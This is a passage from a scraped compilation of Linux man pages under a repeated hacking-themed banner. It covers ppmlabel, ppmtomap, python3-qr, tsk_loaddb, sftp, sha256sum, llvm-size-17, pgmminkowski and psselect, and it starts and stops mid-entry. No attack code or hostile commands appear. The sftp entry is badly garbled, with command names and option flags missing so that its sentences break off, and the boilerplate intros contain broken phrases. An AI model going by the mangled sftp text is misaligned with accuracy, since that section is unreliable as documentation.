This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

453 - Linux cli command ppmlabel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmlabel and provides detailed information about the command ppmlabel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmlabel.

.

NAME 🖥️ ppmlabel 🖥️

add text to a PPM image

SYNOPSIS

ppmlabel

[-angle angle]

[-background { transparent | color } ]

[-color color]

[-file filename]

[-size

textsize]

[-text text_string]

[-x column]

[-y row]

[ppmfile]

EXAMPLE

    ppmlabel -x 50 -y 50 -text hello \
             -angle -30 -text there \
             testimg.ppm 

DESCRIPTION

This program is part of Netpbm(1) .

ppmlabel uses the text drawing facilities of libnetpbm’s “ppmd” component to add text to a PBM image. You control the location, size, baseline angle, color of the text, and background color (if any) with command line arguments. You can specify the text on the command line or supply it in files.

You can add any number of separate labels in a single invocation of ppmlabel, limited only by any restrictions your environment has on the number and size of program arguments (e.g. a shell’s command size limit).

If you don’t specify ppmfile, ppmlabel reads its input PPM image from Standard Input.

The output image goes to Standard Output.

A more sophisticated way to add a label to an image is to use pbmtext or pbmtextps to create an image of the text, then pamcomp to overlay it onto the base image.

Another more general program is ppmdraw. It is slightly harder to use for simple labelling.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmlabel recognizes the following command line options:

The arguments on the ppmlabel command line are not options in the strict sense; they are commands which control the placement and appearance of the text being added to the input image. They are executed left to right, and any number of arguments may appear.

You can abbreviate any option to its shortest unique prefix.

-angle angle
This option sets the angle of the baseline of subsequent text. angle is an integral number of degrees, measured counterclockwise from the row axis of the image.

-background { transparent | color }
If the argument is transparent, ppmlabel draws the text over the existing pixels in the image. If you specify a color (see the -color option below for information on how to specify colors), ppmlabel generates background rectangles enclosing subsequent text, and those rectangles are filled with that color.

-color color
This option sets the color for subsequent text.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

-colour is an acceptable alternate spelling.

-file filename
This option causes ppmlabel to read lines of text from the file named filename and draw it on successive lines.

-size textsize
This option sets the height of the tallest characters above the baseline to textsize pixels.

-text text_string
This option causes ppmlabel to draw the specified text string. It advances the location for subsequent text down 1.75 times the current textsize. That lets you draw multiple lines of text in a reasonable manner without specifying the position of each line.

Note that if you invoke ppmlabel via a shell command and your text string contains spaces, you’ll have to quote it so the shell treats the whole string as a single token. E.g.

  $ ppmlabel -text "this is my text" baseimage.ppm >annotatedimage.ppm

-x column
This option sets the pixel column at which subsequent text will be left justified. Depending on the shape of the first character, the actual text may begin a few pixels to the right of this point.

-y row
This option sets the pixel row which will form the baseline of subsequent text. Characters with descenders, such as “y,” will extend below this line.

LIMITATIONS

Text strings are restricted to 7 bit ASCII. The text font used by ppmlabel doesn’t include definitions for 8 bit ISO 8859/1 characters.

When drawing multiple lines of text with a non-transparent background, it should probably fill the space between the lines with the background color. This is tricky to get right when the text is rotated to a non-orthogonal angle.

SEE ALSO

ppmmake(1) , ppmdraw(1) , pbmtext(1) , pbmtextps(1) , pamcomp(1) , ppm(1)

AUTHOR

Copyright (C) 1995 by John Walker ([email protected]) WWW home page: http://www.fourmilab.ch/

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, without any conditions or restrictions. This software is provided ``as is’’ without express or implied warranty.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmlabel.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

454 - Linux cli command ppmtomap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtomap and provides detailed information about the command ppmtomap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtomap.

.

NAME 🖥️ ppmtomap 🖥️

replaced by pnmcolormap

DESCRIPTION

This program is part of Netpbm(1) .

This program exists only for backward compatibility.

Use pnmcolormap, which replaced it in January 2002.

One trivial difference between ppmtomap and pnmcolormap all is that if the input is PBM or PGM, ppmtomap would produce PPM output, whereas pnmcolormap all produces the same kind of output as the input. This should not be very noticeable, though, as PBM and PGM images are usually usable anywhere a PPM image is.

OPTIONS

There are no command line options defined specifically for ppmtomap, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pnmcolormap(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtomap.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

455 - Linux cli command python3-qr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python3-qr and provides detailed information about the command python3-qr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python3-qr.

NAME 🖥️ python3-qr 🖥️

script to create QR codes at the command line

SYNOPSIS

qr [–help] [–factory=FACTORY] [–optimize=OPTIMIZE] [–error-correction=LEVEL] [data]

DESCRIPTION

This script uses the python qrcode module. It can take data from stdin or from the commandline and generate a QR code. Normally it will output the QR code as ascii art to the terminal. If the output is piped to a file, it will output the image (default type of PNG).

OPTIONS

-h, –help

Show a help message.

–factory=FACTORY

Full python path to the image factory class to create the image with. You can use the following shortcuts to the built-in image factory classes: pil (default), png ( default if pillow is not installed), svg, svg-fragment, svg-path.

–optimize=OPTIMIZE

Optimize the data by looking for chunks of at least this many characters that could use a more efficient encoding method. Use 0 to turn off chunk optimization.

–error-correction=LEVEL

The error correction level to use. Choices are L (7%), M (15%, default), Q (25%), and H (30%).

data

The data from which the QR code will be generated.

SEE ALSO

https://github.com/lincolnloop/python-qrcode/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

456 - Linux cli command tsk_loaddb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tsk_loaddb and provides detailed information about the command tsk_loaddb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tsk_loaddb.

NAME 🖥️ tsk_loaddb 🖥️

populate a SQLite database with metadata from a disk image

SYNOPSIS

tsk_loaddb [-ahkvV] [ -i imgtype ] [ -b dev_sector_size ] [ -i imgtype ] [ -d database ] image [images]

DESCRIPTION

tsk_loaddb loads disk information from image to a SQLite database. This database can then be used by tools in other languages for analysis. By default, the database is stored in the same directory as the image with “.db” appended to the name or the database name can be specified with ‘-d’.

The arguments are as follows:

-a
Adds image to an existing database instead of creating a new one. Requires that -d be also specified.

-d database
Path for the database (default is the same directory as the image with name derived from image name

-v
verbose output to stderr

-V
Print version

-k
Don’t create block data table. This table maps each block to the file that allocated it. This option will make this program run faster.

-h
Calculate MD5 hash value for each file and store it in table. This option will make the program run slower.

-i imgtype
The format of the image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-b dev_sector_size
The size (in bytes) of the device sectors. If not given, autodetection methods are used.

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

EXAMPLES

To load image data from image.dd to image.dd.db:

# tsk_loaddb ./image.dd

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

457 - Linux cli command sftp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sftp and provides detailed information about the command sftp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sftp.

is a file transfer program, similar to

which performs all operations over an encrypted

transport. It may also use many features of ssh, such as public key authentication and compression.

The

may be specified either as

or as a URI in the form

If the

includes a

and it is not a directory,

will retrieve files automatically if a non-interactive authentication method is used; otherwise it will do so after successful interactive authentication.

If no

is specified, or if the

is a directory,

will log in to the specified

and enter interactive command mode, changing to the remote directory if one was specified. An optional trailing slash can be used to force the

to be interpreted as a directory.

Since the destination formats use colon characters to delimit host names from path names or port numbers, IPv6 addresses must be enclosed in square brackets to avoid ambiguity.

The options are as follows:

Forces

to use IPv4 addresses only.

Forces

to use IPv6 addresses only.

Allows forwarding of

to the remote system. The default is not to forward an authentication agent.

Attempt to continue interrupted transfers rather than overwriting existing partial or complete copies of files. If the partial contents differ from those being transferred, then the resultant file is likely to be corrupt.

Specify the size of the buffer that

uses when transferring files. Larger buffers require fewer round trips at the cost of higher memory consumption. The default is 32768 bytes.

Batch mode reads a series of commands from an input

instead of

Since it lacks user interaction, it should be used in conjunction with non-interactive authentication to obviate the need to enter a password at connection time (see

and

for details).

A

of

may be used to indicate standard input.

will abort if any of the following commands fail:

and

Termination on error can be suppressed on a command by command basis by prefixing the command with a

character (for example,

Echo of the command may be suppressed by prefixing the command with a

character. These two prefixes may be combined in any order, for example

Enables compression (via ssh’s

flag).

Selects the cipher to use for encrypting the data transfers. This option is directly passed to

Connect directly to a local sftp server (rather than via

A command and arguments may be specified, for example

This option may be useful in debugging the client and server.

Specifies an alternative per-user configuration file for

This option is directly passed to

Requests that files be flushed to disk immediately after transfer. When uploading files, this feature is only enabled if the server implements the “[email protected]” extension.

Selects the file from which the identity (private key) for public key authentication is read. This option is directly passed to

Connect to the target host by first making an

connection to the jump host described by

and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. This is a shortcut to specify a

configuration directive. This option is directly passed to

Limits the used bandwidth, specified in Kbit/s.

Disables quiet mode, e.g. to override the implicit quiet mode set by the

flag.

Can be used to pass options to

in the format used in

This is useful for specifying options for which there is no separate

command-line flag. For example, to specify an alternate port use:

For full details of the options listed below, and their possible values, see

Specifies the port to connect to on the remote host.

Preserves modification times, access times, and modes from the original files transferred.

Quiet mode: disables the progress meter as well as warning and diagnostic messages from

Specify how many requests may be outstanding at any one time. Increasing this may slightly improve file transfer speed but will increase memory usage. The default is 64 outstanding requests.

Recursively copy entire directories when uploading and downloading. Note that

does not follow symbolic links encountered in the tree traversal.

Name of the

to use for the encrypted connection. The program must understand

options.

Specifies the SSH2 subsystem or the path for an sftp server on the remote host. A path is useful when the remote

does not have an sftp subsystem configured.

Raise logging level. This option is also passed to ssh.

Specify an option that controls aspects of SFTP protocol behaviour. The valid options are:

Controls how many concurrent SFTP read or write requests may be in progress at any point in time during a download or upload. By default 64 requests may be active concurrently.

Controls the maximum buffer size for a single SFTP read/write operation used during download or upload. By default a 32KB buffer is used.

Once in interactive mode,

understands a set of commands similar to those of

Commands are case insensitive. Pathnames that contain spaces must be enclosed in quotes. Any special characters contained within pathnames that are recognized by

must be escaped with backslashes

Quit

Change remote directory to

If

is not specified, then change directory to the one the session started in.

Change group of file

to

may contain

characters and may match multiple files.

must be a numeric GID.

If the

flag is specified, then symlinks will not be followed. Note that this is only supported by servers that implement the “[email protected]” extension.

Change permissions of file

to

may contain

characters and may match multiple files.

If the

flag is specified, then symlinks will not be followed. Note that this is only supported by servers that implement the “[email protected]” extension.

Change owner of file

to

may contain

characters and may match multiple files.

must be a numeric UID.

If the

flag is specified, then symlinks will not be followed. Note that this is only supported by servers that implement the “[email protected]” extension.

Copy remote file from

to

Note that this is only supported by servers that implement the “copy-data” extension.

Alias to

command.

Display usage information for the filesystem holding the current directory (or

if specified). If the

flag is specified, the capacity information will be displayed using “human-readable” suffixes. The

flag requests display of inode information in addition to capacity information. This command is only supported on servers that implement the

extension.

Quit

Retrieve the

and store it on the local machine. If the local path name is not specified, it is given the same name it has on the remote machine.

may contain

characters and may match multiple files. If it does and

is specified, then

must specify a directory.

If the

flag is specified, then attempt to resume partial transfers of existing files. Note that resumption assumes that any partial copy of the local file matches the remote copy. If the remote file contents differ from the partial local copy then the resultant file is likely to be corrupt.

If the

flag is specified, then

will be called after the file transfer has completed to flush the file to disk.

If the

flag is specified, then full file permissions and access times are copied too.

If the

flag is specified then directories will be copied recursively. Note that

does not follow symbolic links when performing recursive transfers.

Display help text.

Change local directory to

If

is not specified, then change directory to the local user’s home directory.

Display local directory listing of either

or current directory if

is not specified.

may contain any flags supported by the local system’s

command.

may contain

characters and may match multiple files.

Create local directory specified by

Create a link from

to

If the

flag is specified the created link is a symbolic link, otherwise it is a hard link.

Print local working directory.

Display a remote directory listing of either

or the current directory if

is not specified.

may contain

characters and may match multiple files.

The following flags are recognized and alter the behaviour of

accordingly:

Produce single columnar output.

List files beginning with a dot

Do not sort the listing. The default sort order is lexicographical.

When used with a long format option, use unit suffixes: Byte, Kilobyte, Megabyte, Gigabyte, Terabyte, Petabyte, and Exabyte in order to reduce the number of digits to four or fewer using powers of 2 for sizes (K=1024, M=1048576, etc.).

Display additional details including permissions and ownership information.

Produce a long listing with user and group information presented numerically.

Reverse the sort order of the listing.

Sort the listing by file size.

Sort the listing by last modification time.

Set local umask to

Create remote directory specified by

Toggle display of progress meter.

Upload

and store it on the remote machine. If the remote path name is not specified, it is given the same name it has on the local machine.

may contain

characters and may match multiple files. If it does and

is specified, then

must specify a directory.

If the

flag is specified, then attempt to resume partial transfers of existing files. Note that resumption assumes that any partial copy of the remote file matches the local copy. If the local file contents differ from the remote local copy then the resultant file is likely to be corrupt.

If the

flag is specified, then a request will be sent to the server to call

after the file has been transferred. Note that this is only supported by servers that implement the “[email protected]” extension.

If the

flag is specified, then full file permissions and access times are copied too.

If the

flag is specified then directories will be copied recursively. Note that

does not follow symbolic links when performing recursive transfers.

Display remote working directory.

Quit

Resume download of

Equivalent to

with the

flag set.

Resume upload of

Equivalent to

with the

flag set.

Rename remote file from

to

Delete remote file specified by

Remove remote directory specified by

Create a symbolic link from

to

Display the

protocol version.

Execute

in local shell.

Escape to local shell.

Synonym for help.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

458 - Linux cli command sha256sum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sha256sum and provides detailed information about the command sha256sum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sha256sum.

NAME 🖥️ sha256sum 🖥️

compute and check SHA256 message digest

SYNOPSIS

sha256sum [OPTION]… [FILE]…

DESCRIPTION

Print or check SHA256 (256-bit) checksums.

With no FILE, or when FILE is -, read standard input.

-b, –binary
read in binary mode

-c, –check
read checksums from the FILEs and check them

–tag
create a BSD-style checksum

-t, –text
read in text mode (default)

-z, –zero
end each output line with NUL, not newline, and disable file name escaping

The following five options are useful only when verifying checksums:

–ignore-missing
don’t fail or report status for missing files

–quiet
don’t print OK for each successfully verified file

–status
don’t output anything, status code shows success

–strict
exit non-zero for improperly formatted checksum lines

-w, –warn
warn about improperly formatted checksum lines

–help
display this help and exit

–version
output version information and exit

The sums are computed as described in FIPS-180-2. When checking, the input should be a former output of this program. The default mode is to print a line with: checksum, a space, a character indicating input mode (’*’ for binary, ’ ’ for text or where binary is insignificant), and name for each FILE.

Note: There is no difference between binary mode and text mode on GNU systems.

AUTHOR

Written by Ulrich Drepper, Scott Miller, and David Madore.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cksum(1)

Full documentation <https://www.gnu.org/software/coreutils/sha256sum>
or available locally via: info ‘(coreutils) sha2 utilities’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

459 - Linux cli command llvm-size-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-size-17 and provides detailed information about the command llvm-size-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-size-17.

NAME 🖥️ llvm-size-17 🖥️

size - manual page for llvm-size 17

DESCRIPTION

OVERVIEW: LLVM object size dumper

USAGE: build-llvm/tools/clang/stage2-bins/bin/llvm-size [options] <input object files>

OPTIONS:

-A
Alias for –format

-B
Alias for –format

–common
Print common symbols in the ELF file. When using Berkeley format, this is added to bss

-d
Alias for –radix=10

–format=<value> Specify output format

–help
Display this help

-h
Alias for –help

-m
Alias for –format

-o
Alias for –radix=8

–radix=<value>
Print size in radix

–totals
Print totals of all objects - Berkeley format only

-t
Alias for –totals

–version
Display the version

-x
Alias for –radix=16

OPTIONS (Mach-O specific):

–arch=<value> architecture(s) from a Mach-O file to dump

-l
When format is darwin, use long format to include addresses and offsets

Pass @FILE as argument to read options from FILE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

460 - Linux cli command pgmminkowski

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmminkowski and provides detailed information about the command pgmminkowski, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmminkowski.

.

NAME 🖥️ pgmminkowski 🖥️

compute Minkowski integral

SYNOPSIS

pgmminkowski pgmfile

DESCRIPTION

This program is part of Netpbm(1) .

pgmminkowski computes the 3 Minkowski integrals of a PGM image.

The Minkowski integrals mathematically characterize the shapes in the image and hence are the basis of “morphological image analysis.”

Hadwiger’s theorem has it that these integrals are the only motion-invariant, additive and conditionally continuous functions of a two-dimensional image, which means that they are preserved under certain kinds of deformations of the image. On top of that, they are very easy and quickly calculated. This makes them of interest for certain kinds of pattern recognition.

Basically, the Minkowski integrals are the area, total perimeter length, and the Euler characteristic of the image, where these metrics apply to the foreground image, not the rectangular PGM image itself. The foreground image consists of all the pixels in the image that are white. For a grayscale image, there is some threshold of intensity applied to categorize pixels into black and white, and the Minkowski integrals are calculated as a function of this threshold value. The total surface area refers to the number of white pixels in the PGM and the perimeter is the sum of perimeters of each closed white region in the PGM.

For a grayscale image, these numbers are a function of the threshold of what you want to call black or white. pgmminkowski reports these numbers as a function of the threshold for all possible threshold values. Since the total surface area can increase only as a function of the threshold, it is a reparameterization of the threshold. It turns out that if you consider the other two functions, the boundary length and the Euler characteristic, as a function of the first one, the surface, you get two functions that are a fingerprint of the picture. This fingerprint is e.g. sufficient to recognize the difference between pictures of different crystal lattices under a scanning tunnelling electron microscope.

For more information about Minkowski integrals, see e.g.

The output is suitable for direct use as a datafile in gnuplot.

In addition to the three Minkowski integrals, pgmminkowski also lists the horizontal and vertical edge counts.

OPTIONS

There are no command line options defined specifically for pgmminkowski, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pgmmorphconv(1) pbmminkowski(1) pgm(1)

AUTHORS

Luuk van Dijk, 2001.

Based on work which is Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmminkowski.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

461 - Linux cli command psselect

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psselect and provides detailed information about the command psselect, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psselect.

NAME 🖥️ psselect 🖥️

select pages from a PostScript file

SYNOPSIS

psselect [ -q ] [ -e ] [ -o ] [ -r ] [ -ppages ] [ pages ] [ infile [ outfile ] ]

DESCRIPTION

Psselect selects pages from a PostScript document, creating a new PostScript file. The input PostScript file should follow the Adobe Document Structuring Conventions.

The -e option selects all of the even pages; it may be used in conjunction with the other page selection options to select the even pages from a range of pages.

The -o option selects all of the odd pages; it may be used in conjunction with the other page selection options.

The -ppages** option specifies the pages which are to be selected. Pages is a comma separated list of page ranges, each of which may be a page number, or a page range of the form first-last. If first is omitted, the first page is assumed, and if last is omitted, the last page is assumed.

The prefix character `_’ indicates that the page number is relative to the end of the document, counting backwards. If just this character with no page number is used, a blank page will be inserted.

The -r option causes psselect to output the selected pages in reverse order.

Psselect normally prints the page numbers of the pages rearranged; the -q option suppresses this.

